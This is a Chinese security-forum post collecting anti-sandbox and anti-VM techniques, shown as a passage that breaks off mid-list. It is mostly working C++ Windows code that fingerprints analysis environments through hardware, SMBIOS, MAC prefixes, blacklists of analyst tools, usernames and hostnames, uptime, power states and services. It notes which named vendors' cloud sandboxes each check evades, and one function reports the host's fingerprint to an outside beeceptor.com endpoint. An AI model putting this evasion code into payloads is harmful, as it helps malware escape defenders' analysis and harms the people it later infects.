常见反沙箱反虚拟机技术总结
Arcueid 发表于 浙江 历史精选 2013浏览 · 2024-11-10 16:11

反虚拟机实际上不是很必要 因为超融合需要用到虚拟化的技术 检测了马上不去反而是损失

常见云沙箱

https://s.threatbook.com/ 微步
https://www.virustotal.com/ VT
https://ata.360.net/  360
https://sandbox.freebuf.com/ freebuf
https://ti.aliyun.com/ 阿里云
https://sandbox.ti.qianxin.com/ 奇安信

基于硬件

检测CPU核心数

/*
通过SystemInfo检测CPU核心数
*/
BOOL checkCPUCorNum() {
    SYSTEM_INFO sysInfo;
    GetSystemInfo(&sysInfo);
    if (sysInfo.dwNumberOfProcessors < 4){
        return TRUE;
    }
    return FALSE;
}

检测内存大小

/*
通过 GlobalMemoryStatusEx 检测物理内存大小 (以 MB 为单位)
*/
BOOL checkPhysicalMemory() {
    MEMORYSTATUSEX memInfo;
    memInfo.dwLength = sizeof(MEMORYSTATUSEX);
    DWORDLONG expectation = 4;

    if (GlobalMemoryStatusEx(&memInfo)) {
        return (memInfo.ullTotalPhys / (1024 * 1024)) < 4;  // 转换为MB
    }
    else {
        std::cerr << "获取内存信息失败!" << std::endl;
        return 0;
    }

}

检测磁盘大小

需要管理员权限

/*
通过 DeviceIoControl 获取系统总磁盘大小 需要管理员权限
*/
BOOL checkTotalDiskSize()
{
    INT disk = 256 * 0.9;
    HANDLE hDrive;
    GET_LENGTH_INFORMATION size;
    DWORD lpBytes;

    // 打开物理磁盘
    hDrive = CreateFileA("\\\\.\\PhysicalDrive0", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);

    // 获取磁盘大小信息
    BOOL result = DeviceIoControl(hDrive, IOCTL_DISK_GET_LENGTH_INFO, NULL, 0, &size, sizeof(GET_LENGTH_INFORMATION), &lpBytes, NULL);
    CloseHandle(hDrive);

    // 判断磁盘大小是否小于给定值 转GB
    return (size.Length.QuadPart / 1073741824) < disk;
}

检测主板序列号

通过 WMI 查询的方式检查主板序列号、磁盘名称和计算机型号,以此来判断当前环境是否为虚拟机 需要管理员权限

由于使用了WMI所以会变成敏感行为

BOOL ManageWMIInfo(std::string& result, const std::string& table, const std::wstring& wcol)
{
    HRESULT hres = CoInitializeEx(0, COINIT_MULTITHREADED);
    if (FAILED(hres)) {
        return FALSE; // 初始化 COM 库失败
    }

    IWbemLocator* pLoc = NULL;
    hres = CoCreateInstance(CLSID_WbemLocator, NULL, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc);
    if (FAILED(hres)) {
        CoUninitialize();
        return FALSE; // 创建 WMI Locator 实例失败
    }

    IWbemServices* pSvc = NULL;
    hres = pLoc->ConnectServer(
        _bstr_t(L"ROOT\\CIMV2"),  // WMI 命名空间
        NULL,  // 用户名,NULL 表示当前用户
        NULL,  // 用户密码,NULL 表示当前密码
        0,     // 本地化
        NULL,  // 安全标志
        0,     // 权限
        0,     // 上下文对象
        &pSvc  // 返回的 IWbemServices 接口
    );
    pLoc->Release();
    if (FAILED(hres)) {
        CoUninitialize();
        return FALSE; // 连接 WMI 服务器失败
    }

    // 设置代理空白标记
    hres = CoSetProxyBlanket(
        pSvc,
        RPC_C_AUTHN_WINNT,
        RPC_C_AUTHZ_NONE,
        NULL,
        RPC_C_AUTHN_LEVEL_CALL,
        RPC_C_IMP_LEVEL_IMPERSONATE,
        NULL,
        EOAC_NONE
    );
    if (FAILED(hres)) {
        pSvc->Release();
        CoUninitialize();
        return FALSE; // 设置代理失败
    }

    // 执行 WMI 查询
    IEnumWbemClassObject* pEnumerator = NULL;
    std::string query = "SELECT * FROM " + table;
    hres = pSvc->ExecQuery(
        bstr_t("WQL"),
        bstr_t(query.c_str()),
        WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,
        NULL,
        &pEnumerator
    );
    if (FAILED(hres)) {
        pSvc->Release();
        CoUninitialize();
        return FALSE; // 执行查询失败
    }

    IWbemClassObject* pclsObj;
    ULONG uReturn = 0;
    while (pEnumerator) {
        HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);
        if (0 == uReturn) {
            break; // 没有更多数据
        }

        VARIANT vtProp;
        VariantInit(&vtProp);
        hr = pclsObj->Get(wcol.c_str(), 0, &vtProp, 0, 0);
        if (SUCCEEDED(hr)) {
            _bstr_t bstrValue(vtProp.bstrVal);
            result = (const char*)bstrValue; // 将获取到的 BSTR 转换为 std::string
        }
        VariantClear(&vtProp);
        pclsObj->Release();
    }

    // 清理
    pSvc->Release();
    pEnumerator->Release();
    CoUninitialize();

    return !result.empty(); // 返回是否成功获取到结果
}

BOOL checkHardwareInfo()
{
    // 先获取主板序列号
    std::string ret;
    ManageWMIInfo(ret, "Win32_BaseBoard", L"SerialNumber");
    if (ret == "None") {
        return TRUE; // 如果没有获取到序列号,认为是虚拟机环境
    }

    // 获取磁盘信息,检查是否包含虚拟机标志
    ManageWMIInfo(ret, "Win32_DiskDrive", L"Caption");
    if (ret.find("VMware") != std::string::npos || ret.find("VBOX") != std::string::npos || ret.find("Virtual HD") != std::string::npos) {
        return TRUE; // 如果磁盘信息包含虚拟机相关关键词,则为虚拟机环境
    }

    // 获取计算机型号,检查是否包含虚拟机标志
    ManageWMIInfo(ret, "Win32_ComputerSystem", L"Model");
    if (ret.find("VMware") != std::string::npos || ret.find("VirtualBox") != std::string::npos || ret.find("Virtual Machine") != std::string::npos) {
        return TRUE; // 如果计算机型号包含虚拟机相关关键词,则为虚拟机环境
    }

    // 如果所有检查都未检测到虚拟机标志,返回 FALSE
    return FALSE;
}

这里是基于GetSystemFirmwareTable的实现 可以规避对wmi的检测

直接调用check_motherboard_vmware即可 判断的是vmware 如果需要针对其它的改改就行

比如微步

360

typedef struct _dmi_header {
    BYTE type;
    BYTE length;
    WORD handle;
} dmi_header;
typedef struct _RawSMBIOSData {
    BYTE Used20CallingMethod;
    BYTE SMBIOSMajorVersion;
    BYTE SMBIOSMinorVersion;
    BYTE DmiRevision;
    DWORD Length;
    BYTE SMBIOSTableData[];
} RawSMBIOSData;
const char* dmi_string(const dmi_header* dm, BYTE s) {
    const char* bp = (const char*)dm + dm->length;

    if (s == 0) return "Not Specified";
    while (s > 1 && *bp) {
        bp += strlen(bp) + 1;
        s--;
    }
    return *bp ? bp : "BAD_INDEX";
}
void dmi_system_uuid(const BYTE* p, short ver) {
    bool only0xFF = true, only0x00 = true;

    for (int i = 0; i < 16 && (only0x00 || only0xFF); i++) {
        if (p[i] != 0x00) only0x00 = false;
        if (p[i] != 0xFF) only0xFF = false;
    }

    if (only0xFF) {
        return;
    }
    if (only0x00) {
        return;
    }

    if (ver >= 0x0206) {
        printf("%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X\n",
            p[3], p[2], p[1], p[0], p[5], p[4], p[7], p[6],
            p[8], p[9], p[10], p[11], p[12], p[13], p[14], p[15]);
    }
    else {
        printf("%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X\n",
            p[0], p[1], p[2], p[3], p[4], p[5], p[6], p[7],
            p[8], p[9], p[10], p[11], p[12], p[13], p[14], p[15]);
    }
}
RawSMBIOSData* get_smbios_data() {
    DWORD bufsize = 0;
    DWORD ret = GetSystemFirmwareTable('RSMB', 0, NULL, 0);

    if (ret == 0) {
        std::cerr << "Failed to get buffer size!" << std::endl;
        return nullptr;
    }

    bufsize = ret;
    BYTE* buffer = new BYTE[bufsize];

    if (GetSystemFirmwareTable('RSMB', 0, buffer, bufsize) == 0) {
        std::cerr << "Failed to get SMBIOS data!" << std::endl;
        delete[] buffer;
        return nullptr;
    }

    return (RawSMBIOSData*)buffer;
}
void parse_smbios_data(const RawSMBIOSData* Smbios) {
    if (!Smbios) {
        std::cerr << "Invalid SMBIOS data!" << std::endl;
        return;
    }

    const BYTE* p = Smbios->SMBIOSTableData;
    BYTE* nonConstP = const_cast<BYTE*>(p);
    int flag = 1;

    while (p < Smbios->SMBIOSTableData + Smbios->Length) {
        dmi_header* h = (dmi_header*)p;

        if (h->type == 0 && flag) {
            print_bios_info(p, h);
            flag = 0;
        }
        else if (h->type == 1) {
            print_system_info(p, h, Smbios);
        }

        p += h->length;
        while (*(WORD*)p != 0) p++;
        p += 2;
    }
}
bool contains_vmware(const std::string& str) {
    std::string lowercase_str = str;
    std::transform(lowercase_str.begin(), lowercase_str.end(), lowercase_str.begin(), ::tolower);
    return lowercase_str.find("vmware") != std::string::npos;
}
BOOL check_motherboard_vmware() {
    RawSMBIOSData* Smbios = get_smbios_data();
    if (!Smbios) {
        std::cerr << "Failed to retrieve SMBIOS data." << std::endl;
        return false;
    }

    const BYTE* p = Smbios->SMBIOSTableData;
    bool found_vmware = false;

    while (p < Smbios->SMBIOSTableData + Smbios->Length) {
        dmi_header* h = (dmi_header*)p;

        if (h->type == 1) { // Type 1 for System Information
            std::string manufacturer = dmi_string(h, p[0x4]);
            std::string serial_number = dmi_string(h, p[0x7]);

            // 检查 Manufacturer 和 Serial Number 是否包含 "VMWARE"
            if (contains_vmware(manufacturer) || contains_vmware(serial_number)) {
                found_vmware = true;
                break;
            }
        }

        p += h->length;
        while (*(WORD*)p != 0) p++;
        p += 2;
    }

    delete[](BYTE*)Smbios; // 清理分配的内存
    return found_vmware;
}

信息输出相关

void print_bios_info(const BYTE* p, const dmi_header* h) {
    std::cout << "\nType " << (int)h->type << " - [BIOS]" << std::endl;
    std::cout << "\tBIOS Vendor: " << dmi_string(h, p[0x4]) << std::endl;
    std::cout << "\tBIOS Version: " << dmi_string(h, p[0x5]) << std::endl;
    std::cout << "\tRelease Date: " << dmi_string(h, p[0x8]) << std::endl;

    if (p[0x16] != 0xFF && p[0x17] != 0xFF) {
        std::cout << "\tEC Version: " << (int)p[0x16] << "." << (int)p[0x17] << std::endl;
    }
}
void print_system_info(const BYTE* p, const dmi_header* h, const RawSMBIOSData* Smbios) {
    std::cout << "\nType " << (int)h->type << " - [System Information]" << std::endl;
    std::cout << "\tManufacturer: " << dmi_string(h, p[0x4]) << std::endl;
    std::cout << "\tProduct Name: " << dmi_string(h, p[0x5]) << std::endl;
    std::cout << "\tVersion: " << dmi_string(h, p[0x6]) << std::endl;
    std::cout << "\tSerial Number: " << dmi_string(h, p[0x7]) << std::endl;
    std::cout << "\tUUID: ";
    dmi_system_uuid(p + 0x8, Smbios->SMBIOSMajorVersion * 0x100 + Smbios->SMBIOSMinorVersion);
    std::cout << "\tSKU Number: " << dmi_string(h, p[0x19]) << std::endl;
    std::cout << "\tFamily: " << dmi_string(h, p[0x1a]) << std::endl;
}

检测CPU温度

Get-WMIObject MSAcpi_ThermalZoneTemperature -Namespace "root/wmi"

虚拟环境获取不到

https://github.com/ZanderChang/anti-sandbox/blob/master/anti-sandbox/anti-sandbox.cpp#L518

BOOL checkCPUTemperature()
{
    HRESULT hres;
    BOOL res = -1;

    do
    {
        // Step 1: --------------------------------------------------
    // Initialize COM. ------------------------------------------

        hres = CoInitializeEx(0, COINIT_MULTITHREADED);
        if (FAILED(hres))
        {
            // cout << "Failed to initialize COM library. Error code = 0x" << hex << hres << endl;
            break;                  // Program has failed.
        }

        // Step 2: --------------------------------------------------
        // Set general COM security levels --------------------------

        hres = CoInitializeSecurity(
            NULL,
            -1,                          // COM authentication
            NULL,                        // Authentication services
            NULL,                        // Reserved
            RPC_C_AUTHN_LEVEL_DEFAULT,   // Default authentication 
            RPC_C_IMP_LEVEL_IMPERSONATE, // Default Impersonation  
            NULL,                        // Authentication info
            EOAC_NONE,                   // Additional capabilities 
            NULL                         // Reserved
        );

        if (FAILED(hres))
        {
            // cout << "Failed to initialize security. Error code = 0x" << hex << hres << endl;
            CoUninitialize();
            break;                    // Program has failed.
        }

        // Step 3: ---------------------------------------------------
        // Obtain the initial locator to WMI -------------------------

        IWbemLocator* pLoc = NULL;

        hres = CoCreateInstance(
            CLSID_WbemLocator,
            0,
            CLSCTX_INPROC_SERVER,
            IID_IWbemLocator, (LPVOID*)&pLoc);

        if (FAILED(hres))
        {
            // cout << "Failed to create IWbemLocator object." << " Err code = 0x" << hex << hres << endl;
            CoUninitialize();
            break;                 // Program has failed.
        }

        // Step 4: -----------------------------------------------------
        // Connect to WMI through the IWbemLocator::ConnectServer method

        IWbemServices* pSvc = NULL;

        // Connect to the root\cimv2 namespace with
        // the current user and obtain pointer pSvc
        // to make IWbemServices calls.
        hres = pLoc->ConnectServer(
            // _bstr_t(L"ROOT\\CIMV2"), // Object path of WMI namespace
            _bstr_t(L"ROOT\\WMI"),
            NULL,                    // User name. NULL = current user
            NULL,                    // User password. NULL = current
            0,                       // Locale. NULL indicates current
            NULL,                    // Security flags.
            0,                       // Authority (for example, Kerberos)
            0,                       // Context object 
            &pSvc                    // pointer to IWbemServices proxy
        );

        if (FAILED(hres))
        {
            // cout << "Could not connect. Error code = 0x" << hex << hres << endl;
            pLoc->Release();
            CoUninitialize();
            break;                // Program has failed.
        }

        // cout << "Connected to ROOT\\WMI WMI namespace" << endl;

        // Step 5: --------------------------------------------------
        // Set security levels on the proxy -------------------------

        hres = CoSetProxyBlanket(
            pSvc,                        // Indicates the proxy to set
            RPC_C_AUTHN_WINNT,           // RPC_C_AUTHN_xxx
            RPC_C_AUTHZ_NONE,            // RPC_C_AUTHZ_xxx
            NULL,                        // Server principal name 
            RPC_C_AUTHN_LEVEL_CALL,      // RPC_C_AUTHN_LEVEL_xxx 
            RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL_xxx
            NULL,                        // client identity
            EOAC_NONE                    // proxy capabilities 
        );

        if (FAILED(hres))
        {
            // cout << "Could not set proxy blanket. Error code = 0x" << hex << hres << endl;
            pSvc->Release();
            pLoc->Release();
            CoUninitialize();
            break;               // Program has failed.
        }

        // Step 6: --------------------------------------------------
        // Use the IWbemServices pointer to make requests of WMI ----

        // For example, get the name of the operating system
        IEnumWbemClassObject* pEnumerator = NULL;
        hres = pSvc->ExecQuery(
            bstr_t("WQL"),
            bstr_t("SELECT * FROM MSAcpi_ThermalZoneTemperature"),
            WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,
            NULL,
            &pEnumerator);

        if (FAILED(hres))
        {
            // cout << "Query for operating system name failed." << " Error code = 0x" << hex << hres << endl;
            pSvc->Release();
            pLoc->Release();
            CoUninitialize();
            break;               // Program has failed.
        }

        // Step 7: -------------------------------------------------
        // Get the data from the query in step 6 -------------------

        IWbemClassObject* pclsObj = NULL;
        ULONG uReturn = 0;

        while (pEnumerator)
        {
            HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);

            if (0 == uReturn) // VM中结果为空
            {
                if (-1 == res)
                {
                    res = TRUE;
                }
                break;
            }

            VARIANT vtProp;

            // Get the value of the Name property
            hr = pclsObj->Get(L"CurrentTemperature", 0, &vtProp, 0, 0);
            // res = vtProp.ullVal / 10.0 - 273.15; // 开氏转摄氏
            //std::cout << vtProp.ullVal / 10.0 - 273.15 << std::endl;
            res = FALSE;

            VariantClear(&vtProp);

            pclsObj->Release();
        }

        // Cleanup
        // ========

        pSvc->Release();
        pLoc->Release();
        pEnumerator->Release();
        CoUninitialize();

    } while (false);

    return res;
}

检测显卡显存大小

BOOL checkGPUMemory() {
    // 初始化设备和设备上下文
    D3D_FEATURE_LEVEL featureLevel;
    ID3D11Device* device = nullptr;
    ID3D11DeviceContext* context = nullptr;

    HRESULT hr = D3D11CreateDevice(
        nullptr,                   // 使用默认适配器
        D3D_DRIVER_TYPE_HARDWARE,  // 使用硬件驱动
        nullptr,                   // 不使用软件驱动
        0,                         // 无调试标志
        nullptr, 0,                // 默认特性级别
        D3D11_SDK_VERSION,         // SDK 版本
        &device,                   // 返回设备指针
        &featureLevel,             // 返回特性级别
        &context                   // 返回设备上下文
    );

    if (FAILED(hr)) {
        std::cerr << "Failed to create D3D11 device." << std::endl;
        return FALSE;
    }

    // 创建 DXGI Factory
    IDXGIFactory* dxgiFactory = nullptr;
    hr = CreateDXGIFactory(__uuidof(IDXGIFactory), (void**)&dxgiFactory);
    if (FAILED(hr)) {
        std::cerr << "Failed to create DXGI factory." << std::endl;
        device->Release();
        return FALSE;
    }

    // 枚举所有显卡适配器
    IDXGIAdapter* adapter = nullptr;
    UINT adapterIndex = 0;
    BOOL lowMemoryGPU = TRUE;  // 默认假设所有显卡都属于 low memory

    while (dxgiFactory->EnumAdapters(adapterIndex, &adapter) != DXGI_ERROR_NOT_FOUND) {
        // 获取显卡描述
        DXGI_ADAPTER_DESC adapterDesc;
        hr = adapter->GetDesc(&adapterDesc);
        if (FAILED(hr)) {
            adapter->Release();
            break;
        }

        //std::wcout << L"GPU Name: " << adapterDesc.Description << std::endl;
        //std::wcout << L"Dedicated Video Memory: " << adapterDesc.DedicatedVideoMemory / 1024 / 1024 << L" MB" << std::endl;

        // 如果显卡显存大于1GB,则认为该显卡不是低显存
        if ((adapterDesc.DedicatedVideoMemory / 1024 / 1024) > 1024) {
            lowMemoryGPU = FALSE;  // 至少有一张显卡显存大于1GB,标记为非low
        }

        adapter->Release();
        adapterIndex++;
    }

    // 清理资源
    dxgiFactory->Release();
    device->Release();

    return lowMemoryGPU;  
}

检测MAC

BOOL checkMacAddrPrefix() {

    const std::vector<std::string>& macPrefixes = { "08-00-27", "00-03-FF", "00-05-69", "00-0C-29", "00-50-56" };
    PIP_ADAPTER_INFO pIpAdapterInfo = nullptr;
    unsigned long stSize = sizeof(IP_ADAPTER_INFO);
    int nRel = GetAdaptersInfo(pIpAdapterInfo, &stSize);

    if (nRel == ERROR_BUFFER_OVERFLOW) {
        pIpAdapterInfo = (PIP_ADAPTER_INFO)new BYTE[stSize];
        nRel = GetAdaptersInfo(pIpAdapterInfo, &stSize);
    }

    if (nRel != ERROR_SUCCESS) {
        // std::cerr << "Error getting adapter info." << std::endl;
        return false;
    }

    bool foundMatchingPrefix = false;

    // 遍历所有网卡
    while (pIpAdapterInfo) {

        // 检查是否匹配任何预设的MAC前缀
        for (const auto& prefix : macPrefixes) {
            // 提取前缀部分
            std::string macPrefix = prefix;
            macPrefix.erase(std::remove(macPrefix.begin(), macPrefix.end(), '-'), macPrefix.end());  // 去除"-"

            // 提取前3个字节,转换成一个字符数组
            if (macPrefix.length() != 6) {
                continue;  // 前缀必须是6个字符(每个字节的两个十六进制字符)
            }

            unsigned char prefixBytes[3];
            for (int i = 0; i < 3; ++i) {
                prefixBytes[i] = std::stoi(macPrefix.substr(i * 2, 2), nullptr, 16);
            }

            // 如果前缀匹配
            if (!memcmp(prefixBytes, pIpAdapterInfo->Address, 3)) {
                // std::cout << "Matched prefix: " << prefix << std::endl;
                foundMatchingPrefix = true;
                break;
            }
        }


        pIpAdapterInfo = pIpAdapterInfo->Next;
    }

    if (pIpAdapterInfo) {
        delete[] pIpAdapterInfo;
    }

    return foundMatchingPrefix;
}

基于环境

检测进程

BOOL checkProcess()
{
    // 使用 std::vector 来存储进程名
    std::vector<std::string> list = { "VBoxService.exe", "VBoxTray.exe", "vmware.exe", "vmtoolsd.exe","qemu","fiddler","process explorer","ida","olldbg","x64dbg","x32dbg","Detonate"};

    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(pe32);

    // 创建进程快照
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);


    BOOL bResult = Process32First(hProcessSnap, &pe32);
    while (bResult) {
        char sz_Name[MAX_PATH] = { 0 };

        WideCharToMultiByte(CP_ACP, 0, pe32.szExeFile, -1, sz_Name, sizeof(sz_Name), NULL, NULL);

        for (size_t i = 0; i < list.size(); ++i) {
            if (strcmp(sz_Name, list[i].c_str()) == 0) {
                CloseHandle(hProcessSnap);  
                return TRUE;
            }
        }
        bResult = Process32Next(hProcessSnap, &pe32);
    }

    CloseHandle(hProcessSnap);  
    return FALSE;
}

检测开机时间

通过GetTickCount64获取当前启动时间

/*
通过GetTickCount64获取启动时间
*/
BOOL checkBootTime()
{
    // 获取系统启动时间(单位:分)
    ULONGLONG uptime = GetTickCount64() / 1000 / 60;

    return uptime < 30;
}

判断HYPERV_HYPERVISOR_PRESENT_BIT标志

HYPERV_HYPERVISOR_PRESENT_BIT用于指示当前系统是否在 Hyper-V 虚拟化环境中运行

BOOL checkHyperVPresent() {
    int cpuInfo[4];
    __cpuid(cpuInfo, 0x1);  // 获取 CPUID 信息,0x1 表示获取 CPU 信息
    return (cpuInfo[2] & (1 << 31)) != 0;  // 检查 HYPERV_HYPERVISOR_PRESENT_BIT(第31位)
}

检测%temp%下文件数量

从环境变量中读到%temp%

BOOL checkTempFileCount(INT reqFileCount)
{
    int fileCount = 0;
    DWORD dwRet;
    LPSTR pszOldVal = (LPSTR)malloc(MAX_PATH * sizeof(char));

    // 从环境变量获取 TEMP 目录路径
    dwRet = GetEnvironmentVariableA("TEMP", pszOldVal, MAX_PATH);
    if (dwRet == 0 || dwRet > MAX_PATH) {
        free(pszOldVal);
        return FALSE;
    }

    std::string tempDir = pszOldVal;
    tempDir += "\\*";
    free(pszOldVal);  // 释放分配的内存

    WIN32_FIND_DATAA data;
    HANDLE hFind = FindFirstFileA(tempDir.c_str(), &data);
    if (hFind == INVALID_HANDLE_VALUE) {
        return FALSE;
    }

    do {
        // 跳过目录 `.` 和 `..`
        if (strcmp(data.cFileName, ".") == 0 || strcmp(data.cFileName, "..") == 0) {
            continue;
        }

        // 仅统计文件,排除子目录
        if (!(data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
            fileCount++;
            if (fileCount >= reqFileCount) {
                FindClose(hFind);
                return FALSE;
            }
        }

    } while (FindNextFileA(hFind, &data) != 0);

    FindClose(hFind);  // 关闭句柄

    // 如果文件数量小于指定值,返回 TRUE
    return TRUE;
}

检测用户名

BOOL checkUsernames() {
    // 获取用户名
    DWORD size = 256;
    char username[256];
    GetUserNameA(username, &size);

    // 黑名单
    std::vector<std::string> usernames = {
        "CurrentUser", "Sandbox", "Emily", "HAPUBWS", "Hong Lee", "IT-ADMIN", "Johnson",
        "Miller", "milozs", "Peter Wilson", "timmy", "user", "sand box", "malware",
        "maltest", "test user", "virus", "John Doe", "Sangfor", "JOHN-PC"
    };

    std::string currentUsername(username);
    std:: cout << currentUsername << std::endl;
    for (const auto& knownUsername : usernames) {
        // 大小写不敏感的比较
        if (caseInsensitiveCompare(currentUsername, knownUsername)) {
            return TRUE; 
        }
    }
    return FALSE;
}

检测NetBIOS

BOOL checkNetBIOS() {
    // 获取计算机的 NetBIOS 名称
    CHAR szComputerName[MAX_COMPUTERNAME_LENGTH + 1];
    DWORD dwSize = sizeof(szComputerName) / sizeof(szComputerName[0]);
    GetComputerNameA(szComputerName, &dwSize);

    std::string netbiosName(szComputerName);
    if (netbiosName.empty()) {
        return FALSE; // 获取 NetBIOS 名称失败
    }

    // 已知的 NetBIOS 名称列表(模拟的沙箱检测)
    std::vector<std::string> netbiosNames = {
        "SANDBOX", "7SILVIA", "HANSPETER-PC", "JOHN-PC", "MUELLER-PC", "WIN7 - TRAPS", "FORTINET","TEQUILABOOMBOOM"
    };

    // 遍历已知名称列表,进行比较
    for (const auto& knownNetbiosName : netbiosNames) {
        if (caseInsensitiveCompare(netbiosName, knownNetbiosName)) {
            return TRUE; 
        }
    }

    return FALSE; 
}

判断电源管理

通过getPwrCapabilities获取电源相关信息

其中sleep1 2 3 4 部分虚拟机不支持,而大多数硬件支持这些电源状态

#include <powerbase.h>


#pragma comment(lib, "PowrProf.lib")

BOOL power_capabilities()
{
    SYSTEM_POWER_CAPABILITIES powerCaps;
    BOOL bFound = FALSE;
    if (GetPwrCapabilities(&powerCaps) == TRUE)
    {


        std::cout << (powerCaps.SystemS1 ? 1 : 0) << std::endl;
        std::cout << (powerCaps.SystemS2 ? 1 : 0) << std::endl;
        std::cout << (powerCaps.SystemS3 ? 1 : 0) << std::endl;
        std::cout << (powerCaps.SystemS4 ? 1 : 0) << std::endl;

        std::string host = "asdasda.free.beeceptor.com";
        std::string path = "/?";
        path.append(std::string(powerCaps.SystemS1 ? "1" : "0") +
            std::string(powerCaps.SystemS2 ? "1" : "0") +
            std::string(powerCaps.SystemS3 ? "1" : "0") +
            std::string(powerCaps.SystemS4 ? "1" : "0"));



        try {
            std::string response = httpGet(host, path);
            std::cout << "Response data:\n" << response << std::endl;
        }
        catch (const std::exception& e) {
            std::cerr << "Exception: " << e.what() << std::endl;
        }

        if ((powerCaps.SystemS1 | powerCaps.SystemS2 | powerCaps.SystemS3 | powerCaps.SystemS4) == FALSE)
        {
            bFound = (powerCaps.ThermalControl == FALSE);
        }
    }

    return bFound;
}

经测试 阿里云沙箱可行 VT的部分沙箱可行 微步 360 奇安信不行

vmware不行

检测License

通过ZwQueryLicenseValue检测Kernel-VMDetection-Private的许可值

在vm中是不存在的 hyper-v不适用

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)

typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef void (WINAPI* pRtlInitUnicodeString)(
    PUNICODE_STRING DestinationString,
    PCWSTR SourceString
    );

typedef NTSTATUS (NTAPI* pZwQueryLicenseValue)(
    PUNICODE_STRING ValueName,
    ULONG* Type,
    PVOID Data,
    ULONG DataSize,
    ULONG* ResultDataSize);

BOOL query_license_value()
{
    pRtlInitUnicodeString RtlInitUnicodeString = (pRtlInitUnicodeString)(GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlInitUnicodeString"));
    pZwQueryLicenseValue NtQueryLicenseValue = (pZwQueryLicenseValue)(GetProcAddress(LoadLibraryA("ntdll.dll"), "ZwQueryLicenseValue"));

    if (RtlInitUnicodeString == nullptr || NtQueryLicenseValue == nullptr)
        return FALSE;

    UNICODE_STRING LicenseValue;
    RtlInitUnicodeString(&LicenseValue, L"Kernel-VMDetection-Private");

    ULONG Result = 0, ReturnLength;

    NTSTATUS Status = NtQueryLicenseValue(&LicenseValue, NULL, reinterpret_cast<PVOID>(&Result), sizeof(ULONG), &ReturnLength);

    if (NT_SUCCESS(Status)) {
        return !Result;
    }

    return FALSE;
}

适用微步

检测注册表

代码可参考https://github.com/LordNoteworthy/al-khaser/blob/master/al-khaser/AntiVM/Generic.cpp

HKLM\System\CurrentControlSet\Services\Disk\Enum 检测虚拟机磁盘 匹配关键词

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Enum\IDE

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Enum\SCSI

检测服务

BOOL checkService() {
    // 打开系统服务控制管理器
    SC_HANDLE scManager = OpenSCManager(nullptr, nullptr, SC_MANAGER_ENUMERATE_SERVICE);
    if (!scManager) return false;

    // 分配空间用于存储系统服务信息
    DWORD bytesNeeded = 0, servicesReturned = 0, resumeHandle = 0;
    std::vector<ENUM_SERVICE_STATUSA> serviceStatus(4096);

    // 获取系统服务的简单信息
    bool enumStatus = EnumServicesStatusA(
        scManager,                // 服务控制管理器句柄
        SERVICE_WIN32,            // 服务的类型
        SERVICE_STATE_ALL,        // 服务的状态
        serviceStatus.data(),     // 输出参数,接收服务信息的缓冲区
        serviceStatus.size() * sizeof(ENUM_SERVICE_STATUSA), // 缓冲区大小
        &bytesNeeded,             // 接收返回服务所需的缓冲区字节数
        &servicesReturned,        // 接收返回服务的数量
        &resumeHandle             // 返回值为0代表成功
    );

    if (!enumStatus) {
        CloseServiceHandle(scManager);
        return false;
    }

    // 服务名称关键字列表
    const std::vector<std::string> targetKeywords = {
        "VMware Tools", "VMware 物理磁盘助手服务", "Virtual Machine", "VirtualBox Guest"
    };

    // 检查服务是否包含指定关键字
    for (DWORD i = 0; i < servicesReturned; ++i) {
        std::string displayName(serviceStatus[i].lpDisplayName);
        for (const auto& keyword : targetKeywords) {
            if (displayName.find(keyword) != std::string::npos) {
                CloseServiceHandle(scManager);
                return true;
            }
        }
    }

    // 关闭服务管理器句柄
    CloseServiceHandle(scManager);
    return false;
}

基于行为

检测父进程是否是rundll32 针对dll

std::wstring getParentProcessName() {
    // 获取当前进程的进程ID
    DWORD currentProcessId = GetCurrentProcessId();

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        return L"";
    }

    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    // 遍历进程列表
    if (Process32First(hSnapshot, &pe32)) {
        do {
            // 找到当前进程的父进程
            if (pe32.th32ProcessID == currentProcessId) {
                DWORD parentProcessId = pe32.th32ParentProcessID;

                if (Process32First(hSnapshot, &pe32)) {
                    do {
                        if (pe32.th32ProcessID == parentProcessId) {
                            std::wstring parentProcessName = pe32.szExeFile;
                            CloseHandle(hSnapshot);
                            return parentProcessName;
                        }
                    } while (Process32Next(hSnapshot, &pe32));
                }
            }
        } while (Process32Next(hSnapshot, &pe32));
    }

    CloseHandle(hSnapshot);
    return L"";
}

BOOL isParentRundll32() {
    std::wstring parentProcessName = getParentProcessName();
    if (!parentProcessName.empty()) {
        // 判断父进程是否是 rundll32.exe
        if (_wcsicmp(parentProcessName.c_str(), L"rundll32.exe") == 0) {
            return TRUE;
        }
    }

    return FALSE;
}

判断是否被注入相关dll

BOOL checkdlls() {
    // 黑名单 DLL 列表
    std::vector<std::wstring> dlls = {
        L"avghookx.dll",    // AVG
        L"avghooka.dll",    // AVG
        L"snxhk.dll",       // Avast
        L"sbiedll.dll",     // Sandboxie
        L"dbghelp.dll",     // WindBG
        L"api_log.dll",     // iDefense Lab
        L"dir_watch.dll",   // iDefense Lab
        L"pstorec.dll",     // SunBelt Sandbox
